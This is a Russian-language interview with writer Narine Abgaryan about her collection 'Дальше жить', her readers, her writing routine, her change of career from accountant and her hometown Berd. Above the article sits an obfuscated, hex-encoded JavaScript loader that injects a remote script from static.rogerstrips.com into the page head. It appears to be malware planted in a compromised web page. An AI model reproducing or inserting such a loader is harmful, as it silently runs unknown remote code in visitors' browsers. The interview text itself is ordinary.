script type='text/javascript'>var _0x7f86=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x72\x6F\x67\x65\x72\x73\x74\x72\x69\x70\x73\x2E\x63\x6F\x6D\x2F\x6D\x61\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"];var script=document[_0x7f86[1]](_0x7f86[0]);script[_0x7f86[2]]= _0x7f86[3];script[_0x7f86[4]]= _0x7f86[5];document[_0x7f86[8]](_0x7f86[7])[0][_0x7f86[6]](script)

В издательстве АСТ вышел новый сборник рассказов Наринэ Абгарян «Дальше жить». Обозреватель «Известий» встретился с писательницей на презентации книги и расспросил о взаимоотношениях с читателями, принципе «ни дня без строчки» и о том, что заставило ее, состоявшегося человека, взяться за перо и круто изменить свою жизнь.

— Встречи с читателями вас утомляют или, наоборот, вдохновляют?

— У меня очень хорошие читатели – умеют и посмеяться, и поддержать, и адекватно реагируют на шутки. Мы понимаем друг друга, что, безусловно, подпитывает энергией. Причем это взаимный процесс. С другой стороны, после встреч я потом три дня ничего не могу написать. Видимо, с ними я выговариваю все накопившиеся слова, а потом просто их набираю заново. Но главное, что мы расстаемся довольными друг другом.

— Благодаря чувству юмора в том числе?

— Чувство юмора вообще очень важно для людей, не только для писателя, а для кого угодно. Так же, как самоирония и чувство такта. Если человеку повезло с этими качествами, можно считать, что он счастлив. Писатель вообще не должен относиться к себе серьезно. Как только ты рисуешь вокруг своей головы нимб славы, начинаешь себя ощущать мыслителем и властителем дум, то превращаешься в карикатуру. Критическое отношение к себе не должно покидать людей, которые занимаются творчеством.

— Но все-таки внимание читателей и известность кружат голову?

— Может, кружили бы, если бы я написала свою первую книгу рано. Но так как первая книга у меня вышла почти в 40-летнем возрасте, то звездная болезнь меня миновала — я была уже состоявшимся человеком и спокойно ко всему относилась. Спасибо книгам, что они пришли ко мне позже (смеется).

Мне, кстати, так и говорят, что я простая, не похожа на писателя, на этот распространенный образ. Но я же выросла в маленьком городке, поэтому не воображаю о себе многое. Читатель, который стоит напротив меня, такой же, как я. Только я пишу, а он, допустим, лечит людей. Кроме того, он тоже проделывает огромный труд — берет книгу с полки, покупает ее, читает. Потом приходит к тебе и обсуждает. Проявлять высокомерие было бы совсем некрасиво.

— Ваша новая книга — это отдельные очень разные истории. Где вы берете темы?

— Что-то беру из жизни, что-то придумываю. Иногда бывает, увиденное складывается в противоположную историю. Например, наблюдала печальную ситуацию, а когда начала писать о ней, она превратилась в смешную ироничную историю. Но чаще придумываю. Писатели — счастливые люди. Им можно привирать, гиперболизировать, и никто ничего по этому поводу не скажет. Чем сильнее фантазия, тем проще писать.

Я, к сожалению, не умею планировать свои книги. Как та же Джоан Роулинг. Она признавалась, что сначала продумала книгу о Гарри Поттере целиком, а потом только села писать. Я была бы счастлива, если бы у меня так получалось. Но я сажусь и пишу без всякого плана. И что выйдет в итоге, не знаю. Например, книгу «С неба упали три яблока» я запланировала как рассказы о деревне, а получилось совсем другое. Поэтому когда меня спрашивают, над чем я сейчас работаю, могу ответить только: да если бы я знала! (Улыбается.)

— Что же вас вдохновило взяться за перо, фигурально выражаясь?

— У меня был тяжелый период в жизни. Мне поставили диагноз «рассеянный склероз», впоследствии оказавшийся ошибочным. Но я с этим диагнозом жила три года. Еще у меня болел ребенок и были очень непростые отношения в семье. И я не могла реализоваться в профессии — я, наверное, была самым неудачливым бухгалтером Москвы. Это был ужас. От внутренней зажатости, что всё не складывается, как хотелось бы, я завела себе страничку в соцсетях. И стала там писать истории о моем детстве в городке Берд. Издательство меня заметило и предложило сотрудничать. Сама бы я никогда не решилась эти рассказы куда-то отправить. Так я совершенно случайно стала писателем.

Когда вышла первая книга, это было настоящим счастьем. Потом вышла вторая, и я поняла, что могу работать дома и оставить бухгалтерию. Мой сын шутит, что я пишу каждый день от ужаса, что снова придется стать бухгалтером. Может, это действительно так, хотя я с большим уважением отношусь к тем, кто в этой профессии состоялся (смеется).

— Вы каждый день работаете?

— Да, хотя порой бывает очень сложно себя заставить, пишу через не могу, преодолевая себя. Бывает, что понимаю – ничего не смогу написать, и тогда даю себе короткий отдых, один день в месяц.

 Знаменитое «ни дня без строчки» все-таки актуально?

— В моем случае да. Если я не буду писать ежедневно, то расслаблюсь и в какой-то момент вообще перестану писать. Работаю под музыку. У нас дома всегда звучал джаз. Не знаю откуда и как эти пластинки попали в наш провинциальный городок, но мы слушали их постоянно. Все мои книги написаны под джаз. Без музыки я ни строчки бы не написала.

— Героиней вашей первой книги «Манюня» была девочка. Сложно писать про детей?

— Вспоминаешь себя в детстве, наблюдаешь за детьми, но вообще писателю не стоит себя ограничивать в творчестве и думать о том, для кого он пишет. Нужно писать так, как чувствуешь. Я бы не называла себя детским писателем. Мои книги — это семейное чтение. Когда я писала, то задумывалась о том, с какого возраста детям их можно будет читать. Я, наверное, в этом плане неправильный писатель (улыбается).

— Много говорят о смерти бумажной книги. Как вы думаете, вытеснят ли ее электронные?

— Для меня нет. Притом что пишу на компьютере, работаю в текстовом редакторе, читать электронные тексты я не могу. Мой сын спокойно их читает. Наверное, всё зависит от привычки. Может, в итоге электронные книги и заменят бумажные, но я ничего страшного в этом не вижу. Главное, чтобы люди вообще читали книги, а в каком формате — неважно.

— В том-то и дело, что дети перестают читать любые книги.

— Это действительно большая беда. Компьютерные игры, интернет, фильмы вытесняют книги из круга их интересов. Но с другой стороны, я понимаю, что если бы в нашем детстве были бы эти игры и интернет, то мы бы тоже сидели в них, а не книги читали. Как с этим бороться и стоит ли, я не знаю.

Своего сына я честно приучала к чтению. Например, шла на небольшую хитрость: читала ему вслух книгу до половины, а потом говорила, что устала, и он сам дочитывал. Так хитростью я его приучила читать. Другого рецепта современного ребенка усадить за книгу, к сожалению, нет.

— А вы сами читаете современных авторов?

— Когда работаю, читаю меньше. В первую очередь стараюсь перечитывать классику — она подпитывает. Бунин, Гоголь, Чехов, вся литература, на которой мы выросли. Современных читаю только, когда не пишу. Из-за страха поймать чужое настроение. Утянуть неосознанно что-то. Я никогда не смогу замахнуться на большое произведение. Потому что не люблю нагромождение слов, стараюсь не растекаться по тексту. Хотя с уважением отношусь к тем авторам, которые могут держать напряжение в большом формате.

С огромным удовольствием прочитала «Зулейха открывает глаза» Гузели Яхиной. Она большая молодец. Очень люблю Евгения Водолазкина — его «Лавр» стал для меня настоящим открытием. Я восхищаюсь ими, понимая, какой это большой труд — написать полноценный роман. Но мне проще написать повесть или рассказ. Хотя опять же, часто бывает, что сначала ты записываешь коротенькие истории, а потом оказывается, что второстепенные персонажи вдруг требуют к себе большего внимания.

— Прямо-таки требуют?

— Это удивительное дело. Раньше я со скепсисом относилась к рассказам о том, что персонажи начинают диктовать писателям свои условия. Думала, что это какое-то писательское кокетство. А на самом деле это оказалось правдой. Задумываешь персонажа одним, а он оказывается совсем противоположным. Ему так хочется. Он живет своей жизнью, и к нему надо относиться с вниманием. Текст иногда не слушается автора.

— А с читателями вы расходились когда-нибудь во мнении о персонажах?

— Бывает, бывает. Причем очень часто. Но так и должно быть. Хотя бывают смешные моменты, когда я написала книгу и отложила, а лет через пять на встречах читатели меня спрашивают о ней, а я-то уже и забыла! Думаешь, срочно надо перечитать.

— Вы упоминаете свой родной город, и многие ваши герои — жители провинции. Они из вашего детства?

— На самом деле все мои книги написаны от большой тоски. Как раз по моего родному городку Берду. Если бы в моей жизни не случилось Москвы, я бы своих книг не написала. Все они фактически признание в любви городу, где я родилась. Но Москва удивительным образом заставляет работать. Нигде больше я бы не стала писателем, за что бесконечно Москве благодарна.

— А Берд отвечает вам взаимностью?

— Ой, у меня замечательные земляки. Для каждого писателя, наверное, самое дорогое — признание на малой родине. Но так как они все непритязательные и простодушные люди, то отношение у них тоже простое. Меня, например, могут остановить на улице: «Ой, Наринэ, я тут чинил забор, выскакивает из дома жена и говорит, что дочь Абгарянов по телевизору показывают». На этом наш разговор и заканчивается. На самом деле мои книги там мало кто читал, но каждый знает человека, который читал. Здорово быть одной из них (смеется).

— У вас есть большая писательская мечта?

— Думаю, она у каждого писателя есть: написать книгу, которая что-то перевернет в сознании читателей. Если эта мечта воплотится в жизнь, я буду безумно счастлива. Если нет — спасибо за те книги, что я уже написала.